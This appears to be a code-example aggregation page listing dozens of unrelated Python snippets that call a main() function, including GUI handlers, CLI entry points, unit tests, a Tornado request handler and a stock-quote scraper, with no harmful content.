Пример #1
0
 def openf(self, event):
     l = self.openfile.GetValue()
     k = self.text1.GetValue()
     if self.radio1.GetValue():
         text = 1
     elif self.radio2.GetValue():
         text = 2
     else:
         text = 3
     import os
     if os.path.exists(l) and l and k and k.isdigit() and int(k) >=0 and text:
         file = open(l)
         pts = []
         for line in file.readlines():
             line = line.split()
             pts.append(( int(line[0]), int(line[1])))
         file.close()
         if len(pts) >= int(k):
             main.main( l, int(k),text)
         else:
             box = wx.MessageDialog(None, 'your k is bigger than the num of pts!', 'wrong', wx.OK)
             if box.ShowModal() == wx.ID_OK:
                 box.Destroy()
             self.text1.Clear()
     else:
         box = wx.MessageDialog(None, 'you miss a file or write a wrong k', 'wrong', wx.OK)
         if box.ShowModal() == wx.ID_OK:
             box.Destroy()
         self.openfile.Clear()
         self.text1.Clear()
Пример #2
0
def run_main():
    """\
    This main procedure is started by calling either wxglade.py or
    wxglade.pyw on windows
    """
    # prepend the widgets dir to the
    # app's search path
    wxglade_path = determine_wxglade_path()
    #sys.path = [os.getcwd(), os.path.join(os.getcwd(), 'widgets')] + sys.path
    sys.path = [wxglade_path, os.path.join(wxglade_path, 'widgets')] + sys.path
    # set the program's path
    import common
    common.wxglade_path = wxglade_path #os.getcwd()
    # before running the GUI, let's see if there are command line options for
    # code generation
    if len(sys.argv) == 1:
        # if there was no option, start the app in GUI mode
        import main
        main.main()
    else:
        options, args = parse_command_line()
        if not options:
            # start the app in GUI mode, opening the given file
            filename = _fix_path(args[0])
            import main
            main.main(filename)
        else:
            command_line_code_generation(options, args)
Пример #3
0
def entry(isPublic, isSelectable, threadNum):

    log_utils.info("Curr Python Version::%s", config_utils.get_py_version())

    print(u"**********所有游戏**********")
    print(u"\t appID \t\t 游戏文件夹 \t\t 游戏名称 \n\n")

    games = config_utils.getAllGames()
    if games != None and len(games) > 0:
        for ch in games:
            print(u"\t %s \t\t %s \t\t\t%s" % (ch['appID'], ch['appName'], ch['appDesc']))

    sys.stdout.write(u"请选择一个游戏(输入appID):")
    sys.stdout.flush()

    selectedGameID = raw_input()
    selectedGameID = str(selectedGameID)

    game = getGameByAppID(selectedGameID, games)

    log_utils.info("current selected game is %s(%s)", game['appName'], game['appDesc'])


    if isSelectable:
        main.main(game, isPublic)
    else:
        main_thread.main(game, isPublic, threadNum)
Пример #4
0
def batch_incremental():
    
    load_experiments("experiments_ref")
    for base_steps in xrange (2,4):
        for uav_count in xrange(1,11):
            if base_steps * uav_count < 3: 
                continue
            for num_steps in xrange(2,5):
                experiment = find_experiment([("num_receivers",uav_count),("receiver_step_count",2)])
                if experiment is None:
                    print "Error experiment not found"
                    exit(1)
                
                best_pheno = experiment.get_phenome(100, 0, "FITNESS",True)
                base_pheno_decoded_positions = best_pheno['decoded_positions']
                base_pheno_list = []
                for position in base_pheno_decoded_positions:
                    base_pheno_list.append(" ".join(map(str,position)))
                    
                base_pheno_str = ",".join(base_pheno_list)
                
                config_parameters = []
                config_parameters.append((GENOTYPE_SECTION, "base_pheno", base_pheno_str))
                
                config_parameters.append((GLOBAL_SECTION, "num_receivers", str(uav_count)))
                
                config_parameters.append((GENOTYPE_SECTION, "receiver_step_count", str(num_steps)))

                population_size = max(40,uav_count*num_steps*20)
                config_parameters.append((GLOBAL_SECTION, "population_size", str(population_size)))
                    
                    
                main("./configs/PathIncr.ini", config_parameters)
Пример #5
0
def commandline_call():
    """ Entry point of the program when called from the command line
    """
    options, args = parse_options(sys.argv[1:])
    
    if not len(args)==1:
        if len(args)==0:
            option_parser.print_help()
        else:
            print  >> sys.stderr, "1 argument: input file"
        sys.exit(1)

    import time
    t1 = time.time()
    if args[0] == "-":
        pyfile = sys.stdin
    else:
        pyfile = open(args[0],"r")

        # fix include path
        from os.path import dirname, abspath
        path_of_pyfile = dirname(abspath(args[0]))
        sys.path.insert(0, path_of_pyfile)
        print sys.path

    # Store the name of the input file for later use
    options.update({'infilename':args[0]})

    main(pyfile, overrides=options)
    # FIXME: wath about the options defined in the script: options.quiet
    if not 'quiet' in options:
        print >>sys.stderr, "Ran script in %.2fs" % (time.time() - t1)
def start_module():
    options = ["- Print default records",
               "- Add new record",
               "- Remove record by id",
               "- Update record by id",
               "- Avalible tools",
               "- Get average durability"]

    ui.print_menu("\nTool Manager\n", options, "0: Return to main menu\n")
    inputs = ui.get_inputs("Please enter a number: ", "")
    option = inputs[0]
    try:
        if option == "1":
            show_table(table)
        elif option == "2":
            add(table)
        elif option == "3":
            id_ = ui.get_inputs("Enter what you want to delete:", "")
            remove(table, id_)
        elif option == "4":
            id_ = ui.get_inputs("Enter what you want to update(id):", "")
            update(table, id_)
        elif option == "5":
            get_available_tools(table)
        elif option == "6":
            get_average_durability_by_manufacturers(table)
        elif option == "0":
            main.main()
        else:
            raise KeyError("There is no such option.")
    except KeyError as err:
        ui.print_error_message(err)
    pass
Пример #7
0
def test_obama_example(capsys):
    main.main(os.path.join(RESOURCES, 'obama_wikipedia.txt'))
    stdout, _ = capsys.readouterr()
    lines = stdout.split('\n')
    assert re.match(
        r'.*Obama\b.*\| received\b.*\| national attention\b',
        lines[1])
Пример #8
0
def start_module():
    ui.print_menu("Human Resources", ["show", "add", "remove", "update", "oldest", "average"], "0 exit")
    inputs = ui.get_inputs(["Please enter a number: "], "")
    option = inputs[0]
    table = data_manager.get_table_from_file("hr/persons.csv")
    try:
        if option == "1":
            show_table(table)
        elif option == "2":
            add(table)
        elif option == "3":
            id_ = ui.get_inputs("Enter the item/'s id you want to remove:","")
            remove(table, id_)
        elif option == "4":
            id_ = ui.get_inputs("Enter the item/'s id you want to update:","")
            update(table, id_)
        elif option == "5":
            get_oldest_person(table)
        elif option == "6":
            get_persons_closest_to_average(table)
        elif option == "0":
            main.main()
        else:
            raise KeyError
    except KeyError:
        ui.print_error_message("There is no such option, choose from given numbers.")
        start_module()
    pass
Пример #9
0
 def testSourceExtractReturnsCorrectNumberOfFiles(self):
     dt = datetime.date.today() - datetime.timedelta(days=1)
     games = main.chooseGames(dt)
     main.main(dt)
     game_files = [f for f in os.listdir(constants.LOGDIR_SOURCE) if f[:10] == dt.isoformat()]
     
     self.assertEqual(len(games) * 2,len(game_files)) 
 def test_configurations(self):
     for config_file in dir_explore("configurations"):
         args = [
             'main.py', '-f', config_file, '-n', '2', '-p', False
         ]
         sys.argv = args
         main.main()
def test_obama_example(resource, capsys):
    main.main(resource('obama_wikipedia.txt'))
    stdout, _ = capsys.readouterr()
    lines = stdout.split('\n')
    assert re.match(
        r'.*Obama\b.*\| received\b.*\| national attention\b',
        lines[1])
Пример #12
0
    def test_master_args_correctly_create_cluster_master(self):
        mock_cluster_master = self.mock_ClusterMaster.return_value  # get the mock for the ClusterMaster instance

        main.main(['master'])

        self.mock_ClusterMaster.assert_called_once_with()  # assert on constructor params
        self.mock_ClusterMasterApplication.assert_called_once_with(mock_cluster_master)  # assert on constructor params
Пример #13
0
    def call_analyze_seq(self):
        seq_len = int(self.an_seq_len.text())
        to_analyze = {}
        to_analyze['probabilities'] = self.probs.isChecked()
        to_analyze['cond_probabilities'] = self.cond_probs.isChecked()
        to_analyze['cond_entropy'] = self.cond_entropy.isChecked()
        to_analyze['autocorrelation'] = self.autocorr.isChecked()
        to_analyze['kld'] = self.kld.isChecked()
        to_analyze['l1metric'] = self.l1m.isChecked()

        other_params = {}
        other_params['L'] = int(self.probs_l.text())
        other_params['upto'] = int(self.autocorr_upto.text())
        other_params['K'] = int(self.kld_l.text()) - 1
        other_params['l1'] = int(self.l1m_upto.text()) - 1

        params = {}
        params['to_analyze'] = to_analyze
        params['other_params'] = other_params

        p = 'configs/' + self.configs['graph_path'] + '/params.yaml'
        with open(p, 'w') as f:
            yaml.dump(params, f)

        self.analyze_bar.value = 0
        mn.main(self.config_file_path, an_seq=True, seq_len=seq_len, tag=self.config_tag)
        self.analyze_bar.value = 100
Пример #14
0
def batch_vardev():
    conf = load_config("VarDevConf")
    
    try:
        main(conf)
    except:
        print traceback.format_exc()
Пример #15
0
	def Notify(self, event):
	   if event == "PlayAgain":
	       self.keepGoing = False
	       gc.collect()
	       main.main()
	   elif event == "QuitEvent":
	       self.keepGoing = False
Пример #16
0
    def button_action (self, coord):
        
        if self.type == "barrier":
            if self.start_coord is None:
                self.start_coord = coord
            else:
                if self.special_klicked:
                    self.board.delete_barrier_line (self.start_coord, coord)
                else:
                    self.board.new_barrier_line_set (self.start_coord, coord)
                self.start_coord = coord

        elif self.type == "new":
            # rectangel coords are bizarr; maybe should be thought about later
            fac = 1
            if self.size == "big":
                fac *= 2
            if self.rect.left < coord[0] < self.rect.right*2:
                if self.rect.bottom < coord[1] < self.rect.bottom +60*fac/2:
                    main.main(size= "small")
                    sys.exit(1)
                elif self.rect.bottom +60*fac/2 <= coord[1] < self.rect.bottom+60*fac:
                    main.main(size= "big")
                    sys.exit(1)

        elif self.type == "anthill_big":
            self.board.board [coord[0]] [coord[1]] .set_colony(30)
        elif self.type == "anthill_small":
            self.board.board [coord[0]] [coord[1]] .set_colony(10)
        elif self.type == "food_big":
            self.board.board [coord[0]] [coord[1]] .set_food(2500)
        elif self.type == "food_small":
            self.board.board [coord[0]] [coord[1]] .set_food(500)
Пример #17
0
  def test_main(self, isAlive_mock, parse_args_mock, join_mock, start_mock,
                Controller_init_mock, try_to_connect_mock,
                update_log_level_mock, write_pid_mock,
                perform_prestart_checks_mock,
                update_config_from_file_mock,
                bind_signal_handlers_mock, setup_logging_mock):
    Controller_init_mock.return_value = None
    isAlive_mock.return_value = False
    options = MagicMock()
    parse_args_mock.return_value = (options, MagicMock)

    tmpdir = tempfile.gettempdir()

    #testing call without command-line arguments
    os.environ["AGENT_WORK_ROOT"] = os.path.join(tmpdir, "work")
    os.environ["AGENT_LOG_ROOT"] = ",".join([os.path.join(tmpdir, "log"),os.path.join(tmpdir, "log2")])
    main.main()

    self.assertTrue(setup_logging_mock.called)
    self.assertTrue(bind_signal_handlers_mock.called)
    self.assertTrue(update_config_from_file_mock.called)
    self.assertTrue(perform_prestart_checks_mock.called)
    self.assertTrue(write_pid_mock.called)
    self.assertTrue(update_log_level_mock.called)
    self.assertTrue(options.log_folder == os.path.join(tmpdir, "log"))
    try_to_connect_mock.assert_called_once_with(ANY, -1, ANY)
    self.assertTrue(start_mock.called)
Пример #18
0
    def test_single_machine_case_runs_master_and_slave(self):
        mock_service_runner = self.mock_ServiceRunner.return_value
        build_args = ['build']

        main.main(build_args)

        self.assertTrue(mock_service_runner.run_master.called)
        self.assertTrue(mock_service_runner.run_slave.called)
 def test_tictactoe_medium(self):
     config_file = "configurations/tictactoe.yml"
     args = [
         'main.py', '-f', config_file, '-n', 'medium', '-p',
         False
     ]
     sys.argv = args
     main.main()
Пример #20
0
def form():
    envelope = simplejson.loads(request.form.get('envelope'))
    from_address = envelope['from']
    print from_address
    text = request.form.get('text')
    print text
    main.main(text, "C:/Users/Atanas/Desktop/PythonBackEnd/emails/", from_address)    
    return "OK"
Пример #21
0
    def test_start_app_force_kill_countdown_is_called_when_app_exits_via_unhandled_exception(self):
        run_mock = self.patch('main.MasterSubcommand').return_value.run
        run_mock.side_effect = Exception('I am here to trigger teardown handlers!')

        with self.assertRaises(SystemExit, msg='UnhandledExceptionHandler should convert Exception to SystemExit.'):
            main.main(['master'])

        self.start_force_kill_countdown_mock.assert_called_once_with(seconds=AnythingOfType(int))
 def test_configuration_default(self):
     config_file = "configurations/default.yml"
     for game in main.games:
         args = [
             'main.py', '-f', config_file, '-g', game, '-n', '2', '-p',
             False
         ]
         sys.argv = args
         main.main()
Пример #23
0
    def test_main_calls_add_item_once_with_error_for_all_jobs_none_returned(self, all_jobs):
        self.workflow.args = ['all']
        self.workflow.settings = {'jenkins_url': 'http://some-url:8080'}
        all_jobs.side_effect = NoJobsFound

        main(self.workflow)

        self.workflow.add_item.assert_called_once_with("Error: No jobs found")
        self.workflow.send_feedback.assert_called_once()
Пример #24
0
def init(Screen):
	from main import main
	curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLACK)
	curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK)
	curses.curs_set(0)
	veridis = Veridis()
	veridis.settings.tasks = veridis.settings.readsettings("data/tasks", veridis)
	veridis.settings.schedule = veridis.settings.readsettings("data/schedule", veridis)
	main(Screen, veridis)
Пример #25
0
def processArguments():
    '''init process arguments '''
    parser = OptionParser(usage="Usage: deepin-screenshot [options] [arg]", version="deepin-screenshot v2.1")
    parser.add_option("-f", "--full", action="store_true", dest="fullscreen", help=_("Take a screenshot of full screen"))
    parser.add_option("-w", "--window", action="store_true", dest="window", help=_("Take a screenshot of the window"))
    parser.add_option("-d", "--delay", dest="delay", type="int", help=_("Take a screenshot after NUM seconds"), metavar="NUM")
    parser.add_option("-s", "--save", dest="save_file", help=_("save screenshot to FILE"), metavar="FILE")
    parser.add_option("--sub", action="store_true", dest="sub", help=_("run as a subprocess"))
    parser.add_option("-n", "--new", action="store_true", dest="new", help=_("run a new process"))
    parser.add_option("-I", "--icon", action="store_true", dest="icon")
    #parser.add_option("-a", "--area", help="Grab an area of the screen instead of the entire screen", action="store_true")
    #parser.add_option("-e", "--border-effect", action="store_true", dest="border_effect", help="Effect to add to the border")
    #parser.add_option("-i", "--interactive", action="store_true", help="Interactively set options")
    #parser.add_option("-b", "--include-border", action="store_true", help="Include the window border with the screenshot")
    #parser.add_option("-B", "--remove-border", action="store_true", help="Remove the window border from the screenshot")
    #parser.add_option("-c", "--clipboard", help="Send the grab directly to the clipboard", action="store_true")
    parser.get_option('-h').help = _("show this help message and exit")
    parser.get_option('--version').help = _("show program's version number and exit")
    
    import sys
    if '-h' in sys.argv or '--help' in sys.argv:
        parser.remove_option("-I")
    (options, args) = parser.parse_args()

    if not options.new and IS_EXISTS:
        print "deepint-screenshot has run"
        exit(1)
    if options.fullscreen and options.window:
        parser.error("options -f and -w are mutually exclusive")
    config.OPTION_ICON = options.icon
    config.OPTION_FULLSCREEN = options.fullscreen
    config.OPTION_WINDOWN = options.window
    config.OPTION_NEW = options.new
    config.OPTION_FILE = options.save_file
    config.OPTION_SUB = options.sub
    if options.delay:
        notify("Deepin Screenshot", 0, summary=_("DScreenshot"),
               body=_("Deepin Screenshot will start in %d seconds.") % options.delay, timeout=(options.delay-0.5)*1000)
        loop = gobject.MainLoop()
        gobject.timeout_add_seconds(options.delay, loop.quit)
        loop.run()
    if options.save_file:
        parserFile = parser_path(str(options.save_file))
        if options.fullscreen:
            pixbuf = get_screenshot_pixbuf(True)
            pixbuf.save(parserFile[0], parserFile[1])
        elif options.window:
            pixbuf = get_screenshot_pixbuf(False)
            pixbuf.save(parserFile[0], parserFile[1])
        else:    
            main()
    elif options.fullscreen:
        open_file_dialog()
    elif options.window:
        open_file_dialog(False)
    else:
        main()
Пример #26
0
def test_fetch_questions_without_previous_data(mk_execute):
    """测试数据库中没有数据的情况"""
    import main

    mk_execute.return_value = None
    tid = test_tid

    class MockQuestion:
        """
        Act as QuestionManager and zhihu.Question
        """
        def __init__(self, url, id, creation_time, title, author=''):
            self._url = self.url = url
            self.id = id
            self.creation_time = self.time = creation_time
            self.title = title
            self.author = self.asker = author
            self._session = Mock()
            self.deleted = False
            self.follower_num = 0
            self.author = Mock(id='asker')
            self.topics = ['互联网']

    t = datetime.now()
    mock_question1 = MockQuestion('http://q/1', '1', t+timedelta(1), 'question1')
    mock_question2 = MockQuestion('http://q/2', '2', t+timedelta(2), 'question2')
    mock_question3 = MockQuestion('http://q/3', '3', t+timedelta(3), 'question3')
    mock_question4 = MockQuestion('http://q/4', '4', t+timedelta(4), 'question4')

    with patch('zhihu.Topic.questions', new_callable=PropertyMock) as mock_q:
        mock_q.side_effect = [
            [mock_question1],
            [mock_question2, mock_question1],
            [mock_question2, mock_question1],
            [mock_question4, mock_question3, mock_question2, mock_question1],
            [mock_question4, mock_question3, mock_question2, mock_question1]
        ]

        def test():
            time.sleep(1)
            if mock_q.call_count == 1:
                assert len(QuestionManager.get_all_questions_one_topic(tid))==0
            if mock_q.call_count == 2:
                questions = QuestionManager.get_all_questions_one_topic(tid)
                assert questions[0]['qid'] == '2'
            if mock_q.call_count == 3:
                questions = QuestionManager.get_all_questions_one_topic(tid)
                assert questions[0]['qid'] == '2'
            if mock_q.call_count == 4:
                questions = QuestionManager.get_all_questions_one_topic(tid)
                questions.sort(key=lambda x: x['qid'])
                assert questions[0]['qid'] == '2'
                assert questions[1]['qid'] == '3'
                assert questions[2]['qid'] == '4'
                raise EndProgramException

        main.main(postroutine=test)
Пример #27
0
def test_correlate(mock_correlate_handler):
    sys.argv = shlex.split('program correlate 1111')
    main.main()
    assert_true(mock_correlate_handler.called)
    mock_correlate_handler.assert_called_once_with(
        argparse.Namespace(
            func=main.handle_correlate,
            log_level=21,
            project_number='1111'))
Пример #28
0
    def test_main(self):
        from main import main

        class ParsedArgs:
            verbose = True
            attrib = []
            path = '.'
            update = True
            silent = False
        main(ParsedArgs())
Пример #29
0
	def handle(self):
		
		if sys.argv[-1] == "tls":
			sock = ssl.wrap_socket(self.request, certfile=settings["certfile"], server_side=True, ciphers=settings["sslciphers"])
		else:
			sock = self.request

		main.main(sock)
		sock.shutdown(socket.SHUT_RDWR)
		sock.close()
    def test_valid_directory(self, mock_subprocess_run):
        mock_subprocess_run.return_value.stdout = True

        directory = os.path.join(resources_directory, "test_directory")
        output_directory = os.path.join(directory, 'output')
        puc.main(directory, output_directory)
        self.assertTrue(os.path.isdir(output_directory))

        # cleanup
        os.rmdir(output_directory)
Пример #31
0
 def test_song_794_length(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][795]["love"], 0.2222222222222222)
Пример #32
0
fuel = Region([circle], [-1], uid=1, mat='fuel', phi=fuelphiguess)
regions = [moderator, fuel]

n_rays = 100
# k, regions = main(n_rays, surfaces, regions, pitch, ngroup, plot=False)

# Ray Length sensitivity analysis
ks_ray_length = []
lengths = []
for i in range(100):
    try:
        cutoff = 300 * i / 100 + 1
        k, regions_trash = main(n_rays,
                                surfaces,
                                copy.deepcopy(regions),
                                pitch,
                                ngroup,
                                cutoff_length=cutoff,
                                deadzone=0)
        lengths.append(cutoff)
        ks_ray_length.append(k)
    except:
        print('oh well')
data = np.vstack((lengths, ks_ray_length)).T
np.savetxt('./sensitivity/cutoff_length_sensitivity_data', data)

ks_dead_zone = []
lengths = []
# Dead zone sensitivity analysis
for i in range(50):
    try:
Пример #33
0
            h5_util.write_list(f, 'xdirection', norm_dx)
            h5_util.write_list(f, 'ydirection', norm_dy)
            f.close()

            if 'norm' in model_path:
                pre_mode = 'norm'
            elif 'scale' in model_path:
                pre_mode = 'scale'
            else:
                raise Exception('Unknown pre_mode!')

            for loss_key, dot_num in zip(loss_key_list, dot_num_list):
                main(model_type,
                     model_path,
                     batch_size=batch_size,
                     dataset=dataset,
                     load_mode=load_mode,
                     L_A=L_A,
                     L_W=L_W,
                     pre_mode=pre_mode,
                     add_aug=add_aug,
                     aug_pol=aug_pol,
                     l2_reg_rate=l2_reg_rate,
                     fc_type=fc_type,
                     dir_path=dir_path,
                     fig_type=fig_type,
                     dot_num=dot_num,
                     l_range=l_range,
                     loss_key=loss_key,
                     add_reg=add_reg)
Пример #34
0
 def test_song_999_id(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][1000]["id"], "999")        
Пример #35
0
 def test_song_256_title(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][257]["title"], "Ai Mouraria")
Пример #36
0
 def test_song_574_love(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][575]["love"], 0.11111111111111105)
Пример #37
0
    def get(self):
        # 申请锁
        for root, dirs, files in os.walk(dir_run):
            for fname in files:
                fpname = os.path.join(root, fname)
                if fpname.endswith('.lock'):
                    self.write('Busy')
                    return
            break
        file_lock = os.path.join(dir_run, str(os.getpid()) + ".lock")
        open(file_lock, 'w').close()

        time.sleep(1)
        count = 0
        for root, dirs, files in os.walk(dir_run):
            for fname in files:
                fpname = os.path.join(root, fname)
                if fpname.endswith('.lock'):
                    count += 1
            break
        if count >= 2:
            self.write('Busy')
            os.remove(file_lock)
            return
        ########
        uu = uuid.uuid4()
        flog = open(file_log, 'a')
        msg = "%s\t%s\t%s\t%s\t%s- Start training.\n" % (time.asctime(
            time.localtime()), self.request.remote_ip, self.request.method,
                                                         self.request.uri, uu)
        flog.write(msg)
        flog.close()

        if os.path.exists(file_middle):
            try:
                main.main('train.txt', 'train', 'prepareTrain', False)
                self.write("OK")
                flog = open(file_log, 'a')
                msg = "%s\t%s\t%s\t%s\t%s- OK.\n" % (
                    time.asctime(time.localtime()), self.request.remote_ip,
                    self.request.method, self.request.uri, uu)
                flog.write(msg)
                flog.close()
            except:
                self.write("Error\n语料解析错误。")
                flog = open(file_log, 'a')
                msg = "%s\t%s\t%s\t%s\t%s- Error.语料解析错误。\n" % (
                    time.asctime(time.localtime()), self.request.remote_ip,
                    self.request.method, self.request.uri, uu)
                flog.write(msg)
                flog.close()
        else:
            self.write("Error\n没有待训练的语料文件。")
            flog = open(file_log, 'a')
            msg = "%s\t%s\t%s\t%s\t%s- Error.没有待训练的语料文件。\n" % (
                time.asctime(time.localtime()), self.request.remote_ip,
                self.request.method, self.request.uri, uu)
            flog.write(msg)
            flog.close()

        # 释放锁
        os.remove(file_lock)
        return
Пример #38
0
        # net hyper
        net_hyper = dict(use_case=hset['use_case'],
                         case_lookup_size=hset['case_lookup_size'],
                         case_embedding_size=hset['case_embedding_size'],
                         drop_prob=hset['drop_prob'],
                         hidden_size=hset['hidden_size'],
                         layer_num=hset['layer_num'],
                         is_bidirection=hset['is_bidirection'],
                         twice_embedding_size=hset['twice_embedding_size'],
                         class_num=hset['class_num'])

        # fit hyper
        fit_hyper = dict(batch_size=hset['batch_size'],
                         learning_rate=hset['learning_rate'],
                         weight_decay=hset['weight_decay'],
                         balance_weight=hset['balance_weight'],
                         o_index=hset['o_index'],
                         class_num=hset['class_num'],
                         patience=hset['patience'],
                         epoch_num=hset['epoch_num'],
                         is_topk=False,
                         is_formal=hset['is_formal'])

        # record folder
        record_folder = record_root + str(i_hset) + '/'

        main(dataset_folder, net_hyper, fit_hyper, record_folder)

    with open(record_root + 'hypersets.json', 'w') as f:
        json.dump(hypersets, f)
Пример #39
0
if __name__ == "__main__":

    model_name = "BertOrigin"
    data_dir = "/search/hadoop02/suanfa/songyingxin/data/cnews"
    output_dir = ".cnews_output"
    cache_dir = ".cnews_cache"
    log_dir = ".cnews_log"

    model_times = "model_1/"  # 第几次保存的模型,主要是用来获取多次最佳结果

    bert_vocab_file = "/search/hadoop02/suanfa/songyingxin/pytorch_Bert/bert-base-chinese-vocab.txt"  # 需改
    bert_model_dir = "/search/hadoop02/suanfa/songyingxin/pytorch_Bert/bert-base-chinese"

    from Processors.NewsProcessor import NewsProcessor
    if model_name == "BertOrigin":
        from BertOrigin import args

    elif model_name == "BertCNN":
        from BertCNN import args

    elif model_name == "BertATT":
        from BertATT import args

    elif model_name == "BertRCNN":
        from BertRCNN import args

    main(
        args.get_args(data_dir, output_dir, cache_dir, bert_vocab_file,
                      bert_model_dir, log_dir), model_times, NewsProcessor)
Пример #40
0
# Bootstrap to the main module
if __name__ == '__main__':
    from main import main
    main()
Пример #41
0
def process_validation_data():
    depth_path = 'F:/Image_Perspective/data/nyu_datasets_changed/target_depths/'
    img_path = 'F:/Image_Perspective/data/nyu_datasets_changed/input/'
    label_path = 'F:/Image_Perspective/data/nyu_datasets_changed/labels_38/'

    #im_num = 910
    min_im_num = 295
    max_im_num = 1448

    for im_num in range(min_im_num, max_im_num):

        im_name = (5 - len(str(im_num))) * '0' + str(im_num)

        depth = cv2.imread(depth_path + im_name + '.png')
        img = cv2.imread(img_path + im_name + '.jpg')
        labels = cv2.imread(label_path + im_name + '.png')[:, :, 0]

        floor_label = 2
        floor = (labels == floor_label).astype(int)

        num_floor_pixels = floor.sum()
        tot_pixels = labels.shape[0] * labels.shape[1]
        pct_floor = num_floor_pixels / tot_pixels * 100

        save_filepath = 'F:/Insight/SpaceAce/Validation/'

        floor_thresh = 20

        if pct_floor > floor_thresh:

            save_labeled = save_filepath + 'labeled_images/' + im_name + '.npy'
            save_processed = save_filepath + 'processed/' + im_name + '/'
            save_img = save_filepath + 'rgb_images/' + im_name + '.npy'
            save_target_depth = save_filepath + 'target_depths/' + im_name + '.npy'
            save_target_labels = save_filepath + 'target_labels/' + im_name + '.npy'

            try:
                main(img_path + im_name + '.jpg', save_processed)
            except:
                None
            np.save(save_labeled, labels)
            np.save(save_img, img)
            np.save(save_target_depth, depth)
            np.save(save_target_labels, floor)

            fig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2)

            ax1.imshow(img)
            ax1.axis('off')
            ax1.set_title('original')

            ax2.imshow(labels)
            ax2.axis('off')
            ax2.set_title('labeled')

            ax3.imshow(depth)
            ax3.axis('off')
            ax3.set_title('depth')

            ax4.imshow(floor)
            ax4.axis('off')
            ax4.set_title('floor')

            fig.suptitle('Image ' + im_name +
                         '\n({:.0f}% floor)'.format(pct_floor))

            plt.savefig(save_processed + '_targets.jpg', dpi=199)

    return None
Пример #42
0
def parse(run, draw=True):
    sql = """SELECT * FROM my_list"""
    results = database.select(sql)
    if results:
        i = 1
        while i <= run:
            day = datetime.datetime.today().weekday()
            time_now = datetime.datetime.now()
            morning = time_now.replace(hour=9, minute=00)
            evening = time_now.replace(hour=18, minute=40)
            if morning < time_now < evening and day != 5 and day != 6:
                datetime_now = datetime.datetime.now().strftime(
                    "%Y/%m/%d %H:%M:%S")
                if draw:
                    print()
                    print("--- {t} ---".format(t=datetime_now))
                    print()
                for result in results:
                    url = "https://www.boursorama.com/cours/" + result[2]
                    req = requests.get(url)
                    soup = BeautifulSoup(req.content, 'html.parser')
                    name = soup.find(
                        class_="c-faceplate__company-link").text.replace(
                            " ", "").replace("\n", "")
                    value = soup.find_all(
                        'span',
                        class_="c-instrument c-instrument--last")[0].text
                    var = soup.find_all(
                        'span',
                        class_="c-instrument c-instrument--variation")[0].text
                    volume = soup.find_all(
                        'span',
                        class_="c-instrument c-instrument--totalvolume"
                    )[0].text.replace(" ", "")
                    vol_var = soup.find_all(
                        'li', class_="c-list-info__item--small-gutter")[2]
                    vol_var = vol_var.text.replace(" ", "").split("\n")[3]
                    dividend_date = soup.find_all(
                        'li',
                        class_=
                        "c-list-info__item c-list-info__item--fixed-width")[1]
                    dividend_date = dividend_date.text.replace(
                        " ", "").split("\n")[3].split(".")
                    dividend_date = "20{}-{}-{}".format(
                        dividend_date[2], dividend_date[1], dividend_date[0])
                    value_div = []
                    value_div_20 = soup.find(
                        'li',
                        class_=
                        "c-list-info__item c-list-info__item--fixed-width")
                    value_div_20 = value_div_20.text.replace(" ",
                                                             "").split("\n")[3]
                    company_id = result[0]
                    if value_div_20 == "-":
                        value_div_20 = soup.find(
                            'td',
                            class_=
                            "c-table__cell c-table__cell--dotted c-table__cell--inherit-height"
                            " c-table__cell--align-top / u-text-left u-text-right u-ellipsis"
                        )
                        value_div.append(
                            value_div_20.text.replace(" ", "").replace(
                                "\n", "").replace("EUR", ""))
                    else:
                        value_div.append(value_div_20.replace("EUR", ""))
                    nb = 1
                    while nb <= 5:
                        value_div_other = soup.find_all(
                            'td',
                            class_=
                            "c-table__cell c-table__cell--dotted c-table__cell--inherit-height"
                            " c-table__cell--align-top / u-text-left u-text-right u-ellipsis"
                        )[nb]
                        value_div.append(
                            value_div_other.text.replace(" ", "").replace(
                                "\n", "").replace("EUR", ""))
                        nb += 1
                    company(company_id, value, var, volume, vol_var,
                            datetime_now)
                    interest(company_id, value_div, dividend_date,
                             datetime_now)
                    if draw:
                        print(
                            "\t\t{n}\nAction: {val}€\t{var}\nVolume: {vo}\t{vov}\nDividende: {vd}€\t{vp}"
                            .format(n=name,
                                    val=value,
                                    var=var,
                                    vo=volume,
                                    vov=vol_var,
                                    vd=value_div[0],
                                    vp=value_div[3]))
                        print()
                if run > 1:
                    time.sleep(60)
            else:
                if draw:
                    print("\nBourse fermée\n")
                    time.sleep(2)
                    break
            i += 1
    else:
        print("\nAucune Entreprise dans la liste")
        return "None"
    if draw:
        time.sleep(2)
        main.main()
Пример #43
0
 def test_song_934_complex(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][935]["complexity"], 0.34463276836158196)
Пример #44
0
""" Для запуска из терминала: python -m music_tree -t 120 """

from sys import argv
from main import main

if __name__ == "__main__":
    main(argv)
Пример #45
0
 def test_song_664_mood(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][665]["mood"], 0.36310853059401493)
Пример #46
0
        '''add force'''
        self.force = self.force + force
        self.force = self.force * (1 / self.mass)

    def draw(self, screen):
        '''draw object'''
        screen.blit(self.surface, self.position.vec)

    def update(self, deltatime):
        '''update'''
        if self.Seek is True:
            self.add_force(self.seek(self.targetagent))

        if self.Flee is True:
            self.add_force(self.flee(self.targetagent))

        if self.Wander is True:
            self.add_force(self.wander(self.distance, self.radius))

        self.acceleration = self.force
        self.heading = self.velocity.normalize
        self.velocity = self.heading * self.velocity.magnitude + self.acceleration * deltatime
        if self.velocity.magnitude > self.maxvelocity:
            self.velocity = self.velocity.normalize * self.maxvelocity
        self.position = self.position + self.velocity * deltatime


if __name__ == '__main__':
    import main as Main
    Main.main()
Пример #47
0
 def test_song_413_kid(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][414]["kid_safe"], 1.0)
Пример #48
0
 def test_length(self):
     self.assertEqual(len(json.loads(main.main('Lyrics'))["characterizations"]),1001)
Пример #49
0
 def test_song_112_artist(self):
     self.assertEqual(json.loads(main.main('Lyrics'))["characterizations"][113]["artist"], "Sub Focus")
